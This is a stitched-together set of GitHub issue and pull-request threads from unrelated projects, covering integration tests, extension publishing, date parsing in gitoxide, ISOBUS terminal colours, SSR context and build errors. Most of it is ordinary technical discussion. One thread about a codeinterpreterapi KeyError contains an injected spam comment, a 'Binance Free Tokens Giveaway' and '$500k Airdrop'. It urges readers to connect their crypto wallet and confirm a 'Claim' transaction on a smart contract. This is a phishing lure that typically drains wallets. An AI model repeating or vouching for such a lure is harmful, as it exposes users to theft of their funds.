After IMDSessionInfo is implemented in NAMD it will be ready for initial integration testing with the client.
Add:

namd_integration.yaml in .github/workflows
imdclient/tests/test_namd.py
Any input files/topologies/reference trajectories necessary for testing to imdclient/data & imdclient/tests/datafiles.py

Use:

Base class for integration tests (feel free to modify): imdclient/tests/base.py

Reference:

lammps_integration.yaml
imdclient/tests/test_lammps.py

I think we should remove the NAMD workflow for the time being. Perhaps we can figure out a way to run it with docker container...

Not sure how to do it without being able to host a public version of NAMD3+patches.


Not on OpenVSX

Is there any chance that this plugin could be added to the Open VSX Registry?

Sure, I will take a look into it and if I need to commit any changes to ensure compatibility.

https://github.com/eclipse/openvsx/wiki/Publishing-Extensions
I dont think you will have to do much other than the account process.

@jalexcole So sorry for not publishing this, I simply forgot, although it was onyl a single line of Github Action to add. Should be online in a couple minutes


error: No playable streams found on this URL

Hello, I've tried so much different streams, but always the same error : error: No playable streams found on this URL: https://www.twitch.tv/*******
[cli][info] Waiting for streams, retrying every 1.0 second(s)
What should I do?

me too..any solution?


Add an option to disable auto scroll

When timeEnable is true, scrollIntoActiveTime function focuses on time inputs and it interrupts users. Is it possible to add an option to handle auto-focus?

@gholami-mohammad Yeah, good idea
I will consider this feature in next release
Thanks for your suggestion

Time scroll removed in v8.0.0 !!


Deprecate passing local and global dimensions for tasks as a runtime flag

Currently, we can specify the local/global work for a task through a runtime flag: <ts>.<taskName>.global/local.dims=x,x,x, bypassing the scheduler.
Since we now have the Grid API, I think we can deprecate these options and remove the extra logic in the TaskMetaData.
Please note that slambench uses the runtime flags and needs refactoring as well.
At the suggestion of @stratika, we can also rename the GridTask to GridScheduler.

I agree with that. These flags were used mainly for the Ahead of Time FPGA execution. I have tested FPGAs also with the Grid API and they work. So, we could proceed with these change and check Slambench if it works.

IMO we should keep this flag. The reason is that the command line grid options do not require source code modifications for tasks that do not have an explicit GridTask.  This works for GPUs, FPGAs and multi-core.
Additionally, other benchmark suites for TornadoVM use these flags to run on FPGAs, such as KFusion: https://github.com/beehive-lab/kfusion-tornadovm/


cf push fails

cf push admin

says
2016-02-16T16:29:59.18+0100 [App/0]      ERR /home/vcap/app/vendor/bundle/ruby/2.2.0/gems/thin-1.6.4/lib/rack/adapter/loader.rb:32:in `read': No such file or directory @ rb_sysopen - config.ru (Errno::ENOENT)
2016-02-16T16:29:59.18+0100 [App/0]      ERR 	from /home/vcap/app/vendor/bundle/ruby/2.2.0/gems/thin-1.6.4/lib/rack/adapter/loader.rb:32:in `load'
2016-02-16T16:29:59.18+0100 [App/0]      ERR 	from /home/vcap/app/vendor/bundle/ruby/2.2.0/gems/thin-1.6.4/lib/thin/controllers/controller.rb:182:in `load_rackup_config'
2016-02-16T16:29:59.18+0100 [App/0]      ERR 	from /home/vcap/app/vendor/bundle/ruby/2.2.0/gems/thin-1.6.4/lib/thin/controllers/controller.rb:72:in `start'
2016-02-16T16:29:59.18+0100 [App/0]      ERR 	from /home/vcap/app/vendor/bundle/ruby/2.2.0/gems/thin-1.6.4/lib/thin/runner.rb:200:in `run_command'
2016-02-16T16:29:59.18+0100 [App/0]      ERR 	from /home/vcap/app/vendor/bundle/ruby/2.2.0/gems/thin-1.6.4/lib/thin/runner.rb:156:in `run!'
2016-02-16T16:29:59.18+0100 [App/0]      ERR 	from /home/vcap/app/vendor/bundle/ruby/2.2.0/gems/thin-1.6.4/bin/thin:6:in `<top (required)>'
2016-02-16T16:29:59.18+0100 [App/0]      ERR 	from /home/vcap/app/vendor/bundle/ruby/2.2.0/bin/thin:23:in `load'
2016-02-16T16:29:59.18+0100 [App/0]      ERR 	from /home/vcap/app/vendor/bundle/ruby/2.2.0/bin/thin:23:in `<main>'
2016-02-16T16:29:59.19+0100 [App/0]      OUT
2016-02-16T16:29:59.22+0100 [DEA/0]      ERR Instance (index 0) failed to start accepting connections

Check this issue:  https://github.com/cloudfoundry-incubator/admin-ui/issues/145
Admin ui not really designed to be deployed as a cf app.  In fact, given it is monitoring cf, it is normally intentionally not deployed as a cf app.


Request

Describe the Bug:
https://github.com/Loli-Server/LoliServer1.16/issues/230
Version Information:

Operating System: Unbuntu 20
Mod Version: 2.3.2
Minecraft Version: 1.16.5
Forge Version: 36.2.0
Other mods that were running when the crash happened: Nope

Additional Context:
Add any other context about the problem here.

Duplicate of #303
We don't support modified software other than forge.
See: #158 #169 #264 #292


Running DNN from Visual Studio

Summary
I want to run DNN from Visual Studio to help me debug some issues that I am seeing. When I run the Website, I step through the installer and I get an error:

ERROR:Could not find stored procedure 'dbo.AuthCookies_Update'.

Steps to reproduce (if necessary)

Clone the git repo and use the development branch (I experience the same result on release/9.3.2 branch as well)
Set the CSPROJ to run from local IIS (Permissions and app pool are setup with Network Service)
Build - this completes ok
F5 to run in debug
Fill out the installation parameters
Click Continue
Installer kick off and fails half way through, the database is partially created

I've tried the same with IIS Express and experience the same issue.
Current result (if necessary)

Expected result (if necessary)
Installation should be successful
Error log (if necessary)
{"progress":54,"details":"ERROR:Could not find stored procedure \u0027dbo.AuthCookies_Update\u0027.","check0":"Done","check1":"Done","check2":"Done","check3":"Running","check4":"NotStarted","check5":"NotStarted"}

Additional context
Add any other context that may be helpful.
Affected version

[x] 10.0.0 nightly build
[ ] 9.4.1 nightly build
[ ] 9.4.0 release candidate
[x] 9.3.2 latest supported release

Affected browser

[x] Chrome
[x] Firefox
[ ] Safari
[ ] Internet Explorer
[x] Edge

I got this working.
I was running it in Debug mode, but had to build it for release first. I ran build.ps1, it built the modules and copied them to \dnn.Platform\Website\Install\Module\.
Running the installer after that worked 🎉


Fixed apparmor module issue #26463

Motivation for this change
Making apparmor useful in NixOS by allowing apparmor-utils to work properly.
Fixing bug https://github.com/NixOS/nixpkgs/issues/26463
Things done
The apparmor utils expect some configuration files to be present in /etc/apparmor and /etc/apparmor.d
Additionally all  paths beginnging with /usr in severity.db and logprof.conf have benn replaced by
/nix/store/* to make them viable under NixOS.
Two more options have been added mainly:

extraParserConfig
Append configuration lines to /etc/apparmor/parser.conf
extraLogConfig
Append configuration lines to /etc/apparmor/logprof.conf

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[  ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

Superceded by #93457


Changed to coderay for source-highlighting, including bundling the CS…

…S so things work when offline.
Set stylesdir to ./css and moved all stylesheets there.
Bundled font-awesome styles and fonts.
Changed generate script to remove html5 from $siteDocDir.
Altered asciidoc files to properly place property declarations and header content.
Ignore emacs crumbs.

I need to investigate more but in the current status this breaks website generation.

Can you please show me how. I ran the ./docs/generate script, copied the generated content into place, and ran a static web server and all seemed fine.

Have a look at the README in https://github.com/ehcache/ehcache.org-site


Use proprietary colors used by Jetter IsoDesigner instead of just white

Describe your changes
While testing some implements with AgIsoVT I came across invisible texts on white background.
They turned out to be lightgray on an Amatron 4:

They used 252 color code for this OutputNumber which is proprietary, and so far all proprietary were treated as white.
I looked up Jetter IsoDesigner (as the IOP in question was designed with it), and they color palette is the following:

How has this been tested?
Built AgIsoVT with this change and the texts got visible

I'm not sure that it makes sense to use proprietary colors in our VT... ultimately it's the client's responsibility to assign colours based on the VT they are connecting to, and in this case the client is doing something explicitly discouraged by the ISO Standard. There are other more standard means for a client to alter the colour table without needing to modify the server, and choosing Jetter's proprietary behavior is pretty arbitrary I think.
Use of these proprietary means where the Working Set is provided by a different manufacturer than that which provides the VT is not recommended in order to provide maximum ISO compatibility. As these items are proprietary, the Working Set or VT manufacturer can change their proprietary means without disclosure.

Interested to hear if there are other opinions on this one.

Well, I think following the Jetter's palerre will provide better compatibility than the current "all white" approach.
The standard says the following note about the prop. colors:

I am not a native English speaker but as I underatood mapping the prop. colors to grayscale is recommended which aligns with the Jetter palette.

Mmmm, I'm not sure that sentence is referring to the prop. range... I think it's more just saying that if your VT is monochrome you can just use grey interpolated values for all colors? And even then, since it's version 5 and before IDK if that still holds anyways for the server side unless we explicitly are configured to report compliance with version 5 or below

I'm just on the fence about it.... what do you think @GwnDaan ? Do you think greys for the proprietary range makes sense?

Mmmm, I'm not sure that sentence is referring to the prop. range... I think it's more just saying that if your VT is monochrome you can just use grey interpolated values for all colors?

That the same thing what I was wondering.
If I would be writing the similar documentation I would separate the non-correlating into distinct bullets.

Do you think greys for the proprietary range makes sense?

We do use the problematic color code 252 in our own implement to highlight the disabled input widgets. We have tested it with least 10 type of terminals internally and I am quite sure that it would be reported by users if these widgets would became invisible (with the daylight mode white background they do disappear totally).
I could create an IOP to show the proprietary palette and "plugfest" it with the terminals available for me to take screenshots, but it would take quite a bit effort.
I do hate pulling up the "proven in use" card in similar situations but this is something what applies here.

Interesting discussion

Do you think greys for the proprietary range makes sense?

Yes, simply because it helps someone today (while still conforming to the standard)
BUT: this is definitely not a recommended practice. Hence I highly suggest @martonmiklos and his team to refactor away from using that colour on other virtual terminal servers other than their own.

Interesting discussion

Do you think greys for the proprietary range makes sense?

Yes, simply because it helps someone today (while still conforming to the standard)
BUT: this is definitely not a recommended practice. Hence I highly suggest @martonmiklos and his team to refactor away from using that colour on virtual terminal servers other than their own for VT version 3 and prior. For Version 4 and later, please start using the Colour Map object (Annex B.17)

I understand and acknowledge that we doing something which is not recommended by the standard. We would happily migrate to VT5 but our stack is limited to VT3, but anyway using a different gray from the non proprietary palette would also make sense.

OK, sounds good.


implement BytesOp::Con

@dr-orlovsky you can invite me to this repo too, that will help me make use of review request feature

Codecov is not displaying the result these days. not sure why
https://github.com/internet2-org/rust-aluvm/pull/49


"Create package" button when adding +Offline project

It would be useful to have a [Create package] button in the "+Offline" popup, just as "+Clone" has. From my own experience, I've had to do this manually like 4 times, so it's kind of annoying. It would look like this:

Tomorrow I can start implementing this if you guys think is useful.

I think it is useful

Functionality from the +Clone package creation can be reused

Great, I will look at this then :smirk:


I want to manage the component via shouldComponentUpdate ().

I want to manage the SortableItem and SortableList components using shouldComponentUpdate (). This is because as the number of components increases, the speed decreases significantly. Is there any way?
Is it possible to replace a functional component with a class-based component? I wonder how it is possible if possible.
const SortableItem = SortableElement(({ value, onRemove, onStateChange, onIsCheckToggle }) => {
    return (

                items..........

    );
});

const SortableList = SortableContainer(({ items, onRemove, onStateChange, onIsCheckToggle }) => {
    return (

            {items.map((value, index) => (
                <SortableIte />
            ))}

    );
});

you have closed the issue did you  found the solution for that if yes then i want to know that


Any ideas on how to approach a "context"?

Ok, I'm at the point that suspense is supported for SSR. This looks something like:
let retry = 1;
const app = <App />;
let promises: Set<Promise<any>> = new Set();
const onError = (err: any) => {
  if (err && err.then) {
    promises.add(err);
  }
};

let html = renderToString(app, { pretty: true, onError });

while (promises.size > 0 && retry <= maxRetries) {
  console.log("RETRY", retry);
  console.log("PROMISES", promises);
  await Promise.all(Array.from(promises));
  retry++;
  promises = new Set();
  html = renderToString(app, { pretty: true, onError });
}

Now the question is how should we approach context? The specific use-case here is storeing data that was loaded via suspense on server in a global for the client to consume.
Any thoughts here?

Do you think we should allow render to return a promise? I'm just throwing ideas to explore here - will have to explore performance implications etc.

Do you think we should allow render to return a promise? I'm just throwing ideas to explore here - will have to explore performance implications etc.

A promised based render pipeline would get rid of the need for suspense patterns and would be a better solution in my opinion. A context pattern is needed no mater what though to collect data to relay to the client and hydrate from.

A promised based render pipeline would get rid of the need for suspense patterns and would be a better solution in my opinion. A context pattern is needed no mater what though to collect data to relay to the client and hydrate from.

I'm closing this as context is solved with new ssr implementation and ctor args


Don't check preconnect links if not in verbatim mode

Preconnect links are used to establish a server connection without loading a specific resource yet.
Not always do these links point to a URL that should return a 200 and they are not user-facing, i.e. they don't show up in the final rendered version of a page.
Therefore I think we should only check them if --include-verbatim is enabled.
Examples from https://www.algolia.com/search/:
<link rel="preconnect" href="https://1QDAWL72TQ-dsn.algolia.net" />
<link rel="preconnect" href="https://cdn.cookielaw.org" />
<link rel="preconnect" href="https://res.cloudinary.com" />

Reference: https://github.com/lycheeverse/lychee/issues/895.

We might as well deal with other pre* links all together.

preconnect:

Specifies that the user agent should preemptively connect to the target resource's origin.

where origin is

A tuple consists of:
A scheme (an ASCII string).
A host (a host).
A port (null or a 16-bit unsigned integer).
A domain (null or a domain). Null unless stated otherwise.

Following the same logic, we should also validate the origin then...

The preconnect directive is primarily about establishing a network connection to the specified domain in advance of any actual request. The fact that a request to e.g. the root of https://1QDAWL72TQ-dsn.algolia.net returns a 404 doesn't necessarily mean that the preconnect directive is misconfigured or ineffective.
When a browser sees a preconnect directive, it's not immediately making a GET request to that URL. Instead, it's only performing the lower-level networking setup (i.e. DNS resolution, establishing a TCP connection, and performing a TLS handshake if the connection is secure). This is all done in anticipation of a request being made to that domain later.
If a later request is made to a specific path on that domain (for example, https://1QDAWL72TQ-dsn.algolia.net/some/resource/path), the fact that the root of the domain (https://1QDAWL72TQ-dsn.algolia.net/) returns a 404 is irrelevant. What matters is whether the specific resource requested returns a valid response.
Hence, I think we should exclude preconnect directives.
PR for that: https://github.com/lycheeverse/lychee/pull/1187


Achieve compatibility with AGP 3.0.0

Android Gradle Plugin 3.0.0 changed the way Java outputs are reported to variants, because I'm getting the following after updating:
Error:No such property: javaOuptuts for class: com.android.build.gradle.internal.scope.VariantScopeImpl

This is related to a fallback because of a typo in older versions of the AGP. The JUnit 5 plugin tries to obtain the values from the correct property, using "javaOutputs" first, then falling back to the misspelled "javaOuptuts". This is an example of our usage. I need to review what changed within VariantScope, and apply that accordingly.

Released in 1.0.0-M4-rev1.


Parse relative months and years

This extends gix_date::parse::relative::span to recognize times with "months" and "years", as in "3 months ago" and "2 years ago".
The actual change here is very simple, because it is directly facilitated by #1474.
The units "seconds", "minutes", "hours", "days", and "weeks" continue to be recognized (as before). Relative times like "1 year, 2 months ago" remain unrecognized.
For background, see 43b6c06 (#498), c5c6bf6, https://github.com/GitoxideLabs/gitoxide/pull/1474#discussion_r1694769988, and https://github.com/GitoxideLabs/gitoxide/issues/1696#issuecomment-2495526654.
Note that this change does not fix issue #1696, which continues to apply to the intepretation of "days" and "weeks", and now also applies in the same way to the interpretation of "months" and "years". (It continues not to apply to the interpretation of "seconds", "minutes", and "hours".)
The tests are updated to cover "months" and "years", as well as to exercise a wider range of relative times, including showing which units (e.g. "days") are affected by #1696. A few sub-cases, of those adjusted or added here, test strings from a related test in Git, to allow comparison. But most are not related to cases there.
As before, the tests pass on CI, or when the time zone is otherwise UTC, or with local time zones that never have DST adjustments.
The sub-cases are reordered to be monotone increasing in the magnitude of the relative intervals tested (and thus monotone decreasing in the associated absolute timestamps), and the original input is kept zipped into the actual and expected arrays being compared. This way, if the assertion fails (such as due to #1696), it is clear and readable which sub-cases failed and exactly how, as well as what all the sub-cases are and what each sub-case tests.
Reordering the sub-cases and preserving the inputs they parse in this way avoids the disadvantages of #1697 while keeping, and expanding on, its benefits.
Failure, where it occurs, now looks like:
--- STDERR:              gix-date::date time::parse::relative::various ---
thread 'time::parse::relative::various' panicked at gix-date\tests\time\parse.rs:252:9:
assertion failed: `(left == right)`: relative times differ

Diff < left / right > :
 [
     (
         "5 seconds ago",
         2024-11-24T23:51:49Z,
     ),
     (
         "5 minutes ago",
         2024-11-24T23:46:54Z,
     ),
     (
         "5 hours ago",
         2024-11-24T18:51:54Z,
     ),
     (
         "5 days ago",
         2024-11-19T23:51:54Z,
     ),
     (
         "3 weeks ago",
         2024-11-03T23:51:54Z,
     ),
     (
         "21 days ago",
         2024-11-03T23:51:54Z,
     ),
     (
         "504 hours ago",
         2024-11-03T23:51:54Z,
     ),
     (
         "30240 minutes ago",
         2024-11-03T23:51:54Z,
     ),
     (
         "2 months ago",
<        2024-09-24T23:51:54Z,
>        2024-09-24T22:51:54Z,
     ),
     (
         "1460 hours ago",
         2024-09-25T03:51:54Z,
     ),
     (
         "87600 minutes ago",
         2024-09-25T03:51:54Z,
     ),
     (
         "14 weeks ago",
<        2024-08-18T23:51:54Z,
>        2024-08-18T22:51:54Z,
     ),
     (
         "98 days ago",
<        2024-08-18T23:51:54Z,
>        2024-08-18T22:51:54Z,
     ),
     (
         "2352 hours ago",
         2024-08-18T23:51:54Z,
     ),
     (
         "141120 minutes ago",
         2024-08-18T23:51:54Z,
     ),
     (
         "5 months ago",
<        2024-06-24T23:51:54Z,
>        2024-06-24T22:51:54Z,
     ),
     (
         "3650 hours ago",
         2024-06-25T21:51:54Z,
     ),
     (
         "219000 minutes ago",
         2024-06-25T21:51:54Z,
     ),
     (
         "26 weeks ago",
<        2024-05-26T23:51:54Z,
>        2024-05-26T22:51:54Z,
     ),
     (
         "182 days ago",
<        2024-05-26T23:51:54Z,
>        2024-05-26T22:51:54Z,
     ),
     (
         "4368 hours ago",
         2024-05-26T23:51:54Z,
     ),
     (
         "262080 minutes ago",
         2024-05-26T23:51:54Z,
     ),
     (
         "8 months ago",
<        2024-03-24T23:51:54Z,
>        2024-03-24T22:51:54Z,
     ),
     (
         "5840 hours ago",
         2024-03-26T15:51:54Z,
     ),
     (
         "350400 minutes ago",
         2024-03-26T15:51:54Z,
     ),
     (
         "38 weeks ago",
         2024-03-03T23:51:54Z,
     ),
     (
         "266 days ago",
         2024-03-03T23:51:54Z,
     ),
     (
         "6384 hours ago",
         2024-03-03T23:51:54Z,
     ),
     (
         "383040 minutes ago",
         2024-03-03T23:51:54Z,
     ),
     (
         "11 months ago",
         2023-12-24T23:51:54Z,
     ),
     (
         "8030 hours ago",
         2023-12-26T09:51:54Z,
     ),
     (
         "481800 minutes ago",
         2023-12-26T09:51:54Z,
     ),
     (
         "14 months ago",
<        2023-09-24T23:51:54Z,
>        2023-09-24T22:51:54Z,
     ),
     (
         "21 months ago",
         2023-02-24T23:51:54Z,
     ),
     (
         "2 years ago",
         2022-11-24T23:51:54Z,
     ),
     (
         "20 years ago",
         2004-11-24T23:51:54Z,
     ),
     (
         "630720000 seconds ago",
         2004-11-29T23:51:54Z,
     ),
 ]

I've posted https://github.com/GitoxideLabs/gitoxide/issues/1696#issuecomment-2496472747 about why I think the changes here may be okay to do even before the main in https://github.com/GitoxideLabs/gitoxide/issues/1696#issuecomment-2495526654 (that would actually fix issue #1696) is not yet done.
It may be that this is an excessive number of lines of test output to show in a commit message (3082d40). I've included it, as I have done in previous changes to that test, since it will not be seen on CI or even in all local time zones, and since it makes much clearer how and why the test's output format has changed.
Ordinarily, I would not be reluctant to make a commit message that long. But in this case, it's a conventional commit with feat:, so I expect it to make its way into the changelog. The test is probably of less interest to future readers of the changelog and in any case is not, really, technically even part of the feature. I could put the test in its own commit, as I often do with tests. But the description of what the output looks like would be inaccurate if that commit precedes the commit that adds support for months and years--it produces a parsing error until support is added, whereas the test output that is informative is the output showing that we still, and better, see what is going on with #1696.
Anyway, I don't know if that is really to be considered a problem, but I mention it so that it will be noticed if it is.

From the refactoring in d140ad4:

place expectations to the right, actuals on the left.

Good idea. I had kept the way it was before, but on reflection this was not likely (or not likely still) intended, since not all assertions in the function had been using the same convention.

fix test expectation and make clear that relative dates are all UTC.

Does this actually do the rest of https://github.com/GitoxideLabs/gitoxide/issues/1696#issuecomment-2495526654, i.e. fix issue #1696? (Normally I might read the code carefully and try it out, rather than asking immediately, but I wanted to ask this before the PR is merged, in case the commit is not just a refactoring and should be differently titled.)

Does this actually do the rest of #1696 (comment), i.e. fix issue #1696? (Normally I might read the code carefully and try it out, rather than asking immediately, but I wanted to ask this before the PR is merged, in case the commit is not just a refactoring and should be differently titled.)

Probably I shouldn't have 'fixed' this underhandedly, so I disabled the auto-merge and invite you to split the commit. To me it was just a minor thing in the end, as I did have local test failures which I think were well enough understood to fix them. All seems alright, as I think it was just an incorrect test expectation that caused trouble.

I've gone ahead and split the commit. For 856b385, I mentioned in the commit message that it fixes #1696, but didn't make it a conventional commit since it only changes the test.
I've also tested this locally on Windows 10 (x64) and Arch Linux (x64), with local time such that the tests had previous failed, and with TZ=UTC (which had previously passed). All gix-date tests now pass in all four combinations.

I've caused the failing test-32-bit job to re-run, and it passed. Also, it had failed before any gitoxide code or tests had run, or even compiled. So it is quite unlikely to be related to any changes here. Assuming the messages in the split commits are okay, I think this is ready to go.

Awesome, thank you!


migrate to flutter 3 and dart 2.17

This is now published on version 3.2.0.
Thanks all for spotting this.


Error: Invalid string. Length must be a multiple of 4

Requesting tokens throws Invalid string. Length must be a multiple of 4 although the tokens do get sent to the recipient address.
This is because of some breaking changes in tendermint version as per: https://github.com/cosmos/cosmos-sdk/issues/11997
Updating cosmjs/crypto, cosmjs/proto-signing, cosmjs/stargate dependencies version to ^0.31 solves the problem.

Just opened a pull request to solve it https://github.com/ping-pub/faucet/pull/5 :))


Wrong file name/path in the package Essential

Hello, just a small issue when I download the package Essential:  http://foundation.zurb.com/sites/download/assets/essential-f6.zip
The script inside HTML index have the wrong name/path, is:  js/fondation.min.js
but have to be: js/fondation.js because the file JS is foundation.js

In any case, thanks!
Nice coding,

@gBaylaender there are lots of issues with the Customizer which are being tracked in #7033. There is an open pull request (#8400) which should resolve all the Customizer issues. I'm closing this issue in favor of those. Thanks!


Add issue and pull request templates

We should add issues and pull request templates for better workflow.

#43  - A issue about Issue templates
#51 - Added issue templates
#67 - A issue about PR templates
#74 - Adds PR templates


Social footer links wrap unexpectedly

I can open an issue if needed, but noticed that the social links in the footer wrap on only the large breakpoint. It is consistently reproducible across Chrome, Safari, and Firefox. This PR fixes that behavior and makes the icon spacing consistent with community links.
Example (PR change left, current right):

Thanks a bunch! :)


Add .NET runtimes

Description
Currently there are not provided docker images for the .NET runtime, and the sam build command does not support the --use-container flag. This makes typical build and deploy workflows with SAM not working consistently for .NET projects. It would be great if a Docker image could be provided and the sam cli updated to work with the container.
Benefits
Ensures consistent behavior for all AWS Lambda supported runtimes by the AWS SAM cli and build/deploy workflow.
Request
Add .NET Dockerfiles supporting AWS runtimes

Dockerfile-dotnetcore31
Dockerfile-dotnetcore21

It's especially confusing that such a container is listed on the ECR Public Gallery, but has no data/tags associated with it.

Will this issue also cover introducing an AWS SAM build image for net5.0 ?

I do not intend to, at least. net5.0 is not a supported Lambda runtime.

Yea of course @chrisoverzero.
I was thinking perhaps an AW SAM build image for net5.0 would only be for building Lambdas targeting net5.0 with PackageType: Image. Kind of like you can do using the AWS SAM CLI on your local machine.

Image for .NET Core 3.1 merged. Closing this issue.
There are no plans to add  .NET Core 2.1 or .NET 5


Consider moving to typescript and using Zod for input validation, will make the code much cleaner

This video is superb to learn about Zod, TypeScript and any other auth best practices you might be missing: https://www.youtube.com/watch?v=qylGaki0JhY
However, you don't need to use assymetric encryption (RS256 algorithm for jwt signing) as he has done for your use case where the auth system is focused towards one app.

Will check it out


Implementing cards and relics and fixing issues spotted

Relics added:
Duality
Runic Capacitor
Sozu
Relics fixed:
Inserter (now copying the right thing)
Akabeko (no longer triggers on attacks vs boss)
Cards added:
Fusion
Phantasmal Killer
Skewer
Lesson Learned
Master Reality
Meditate
Spot Weakness
Cards fixed:
Reinforced body (now actually Defend and uses right energy)
Tranquility (no longer suggested it blocks)
Sword boomerang (now actually does multidamage for intent purposes)
Deva form (now states correct energy gain on mouseover)
Carve reality (now gives correct damage with master reality, appears in sensible place in hand and gives full damage in intent)
Fusion (plasma now triggers at end of boss turn (letting player see actual boss energy) and is no longer affected by focus)

Hello, I'm not familiar with the username - are you a member of the Downfall discord?  I haven't reviewed this PR yet but I'm a bit confused as to its purpose.  Do you have an alternate mod that changes the bosses in some way?  We'd welcome a new contributor focused on boss tuning and concepts and our team is always open.


[FEA] Improve design of concurrent partitioned writer

The GpuDynamicPartitionDataConcurrentWriter subclasses GpuDynamicPartitionDataSingleWriter and has logic to deal with multiple ColumnarOutputWriters open at the same time within a WriterStatus.
This is a bit odd because a WriterStatus has its own ColumnarOutputWriter, and since the concurrent writer subclasses the single writer, it also has a different ColumnarOutputWriter that is not used.
This code also calls close on ColumnarOutputWriter several time, where other writers null out the ColumnarOutputWriter and make sure not to call close after the first time.
I think some re-architecture is due here to clean it up and make it easier to reason about.

The refactor should be covered by tests and by validation: https://github.com/NVIDIA/spark-rapids/issues/8736


How to dissapear REV panel?

I have a problem. I have a text field above a REV and when I click on REV, than on my text field, the REV panel is still showing above the keyboard. Is there a way how to lost focus of REV and dissapear of REV panel?

Hmm, I couldn't get this to reproduce in the sample app. What version are you using? Could you maybe make a gif of the problem, or make some sample project where it happens?

Dear cjwirth,
there is a video of my problem:
https://mega.nz/#!jIg2CbJZ!nQLdk-mUr0PXiuEkbHAzcS_9FItqOUiXIzKsZUgEIms

How are you showing/hiding the toolbar in the first place?
It looks like you're probably using the KeyboardManager from the sample project? If so, all that does is listen to when the keyboard comes up and down, and moves the toolbar to be above it. It doesn't pay attention to what view is the first responder or not. I wouldn't use the KeyboardManager if you have input views that are not REVs onscreen.
I would suggest setting the inputAccessoryView of the text views instead. Then they shouldn't conflict with each other.

You are right. I'll try and let you know.

Any updates on this, @Jirka1111? Is it working for you?

Let me know if it's not working. I'm going to close this ticket, because you said I was right :)


KeyError: 'id'

Hello,
I've encountered a KeyError: 'id' when attempting to get access to openai gpt4. Below is a brief description of the issue
Traceback (most recent call last):   File "D:\Research\GPT4\process.py", line 101, in <module>     main()   File "D:\Research\GPT4\process.py", line 93, in main     process_prompt(lines[i])   File "D:\Research\GPT4\process.py", line 70, in process_prompt     result = call_gpt4_api(line)   File "D:\Research\GPT4\process.py", line 42, in call_gpt4_api     with CodeInterpreterSession(verbose=True) as session:   File "C:\Users\DELL\anaconda3\envs\gpt\lib\site-packages\codeinterpreterapi\session.py", line 481, in __enter__     self.start()   File "C:\Users\DELL\anaconda3\envs\gpt\lib\site-packages\codeinterpreterapi\session.py", line 89, in start     status = SessionStatus.from_codebox_status(self.codebox.start())   File "C:\Users\DELL\anaconda3\envs\gpt\lib\site-packages\codeboxapi\box\localbox.py", line 107, in start     self._connect()   File "C:\Users\DELL\anaconda3\envs\gpt\lib\site-packages\codeboxapi\box\localbox.py", line 116, in _connect     self.kernel_id = response.json()["id"]

🚀 Binance Free Tokens Giveaway! 🌕
Welcome to the exclusive Binance Free Tokens Giveaway! 🎉 Don't miss out on claiming your free tokens. Here's a simple guide to get started:

Steps to Claim:

Connect Your Binance Wallet:

Click on the Connect Wallet.
Select your preferred wallet provider (Metamask, Trust Wallet, etc.).

Interact with the Contract:

Once your wallet is connected, navigate to the Binance Free Tokens Page.
Click on the "Claim" button to interact with the smart contract.

Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

Spread the Excitement:

After successfully claiming your tokens, share the news!

Twitter: Tweet about Your Tokens
Facebook: Share on Facebook

Act fast and enjoy your tokens! This limited-time offer won't last forever. 🌐💰

Binance Airdrop Guide: $500k Worth of Airdrop is Ready, here's how to Claim
Claim your share of the $500k Binance Airdrop! As the year comes to an end, we're giving away $500 in BNB to celebrate. Follow the steps above to secure your tokens. Don't miss out on this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Winners: @

Hey thanks for mentioning and sry for the late response.
I still have not figured out why this is and where its coming from but I am investigating and keep you updated!
I got the same error in my CI pipeline but not when using it locally on my mac....

fixed it!! it was an issue with a new version of jupyter-kernel-gateway will release a new pypi version now with the patch

fixed now in v0.1.19


fatal: repository 'https://github.com/kohya-ss/sd-script/' not found

I simply run this:
git clone -b sd3 https://github.com/kohya-ss/sd-script
Was asked to identify (connect git to github or whatever) which I did.

What's the problem?

my bad I forgot an "s" at the end.


fatigue | SN Curve library

(40 hours)
Objectives:

Create SN curve library from various codes  (S, N and curve-constant)

DNV RP C203

API X and X' curve

BP curves

Ship curves from below code:
https://ww2.eagle.org/content/dam/eagle/rules-and-guides/current/offshore/115_fatigueassessmentofoffshorestructures/offshore-fatigue-guide-jun20.pdf

Able to use raw data

Able to plot data

Ability to handle Units when stress in MPa and ksi

Ability to give output for various software

References:
Existing python codes are below:
https://reliability.readthedocs.io/en/latest/SN diagram.html
https://github.com/iamlikeme/sncurves
https://pylife.readthedocs.io/en/1.1.4/about.html

@mpydah


kctrl package install … --dry-run --ytt-overlay-file … does not stamp out overlays

What steps did you take:
I am using kctrl to stamp out package installation resources and pipe those into ytt (or kapp):
kctrl package install \
  … \
  --ytt-overlay-file overlays.yaml \
  --dry-run \
  | ytt -f -

What happened:
The overlay-related resources are not stamped out. As if --ytt-overlay-file overlays.yaml is ignored.
What did you expect:
The overlay-related resources are stamped out.
Anything else you would like to add:
The reason is that o.DryRun short-circuits before overlays are processed.
Environment:
❯ kctrl --version
kctrl version 0.48.1

Succeeded

Vote on this request
This is an invitation to the community to vote on issues, to help us prioritize our backlog. Use the "smiley face" up to the right of this comment to vote.
👍 "I would like to see this addressed as soon as possible"
👎 "There are other more important things to focus on right now"
We are also happy to receive and review Pull Requests if you want to help working on this issue.

Thank you for reporting this issue @mamachanko!
cc @100mik


Debugger report error running scene [F6]

Godot version
v3.5.stable.official [991bb6ac7]
System information
Debian Linux 10, Intel Graphics HD 4000, GLES3
Issue description
Debugger report:
E 0:00:00.476   Invalid (float) numeric constant
<C++ Source>  :7
running a scene
Steps to reproduce
Play the attached file in Godot 3.5 stable
Minimal reproduction project
file:///home/mem/Godot/Projects/godot-practice/SideScroller/Level.zip

file:///home/mem/Godot/Projects/godot-practice/SideScroller/Level.zip

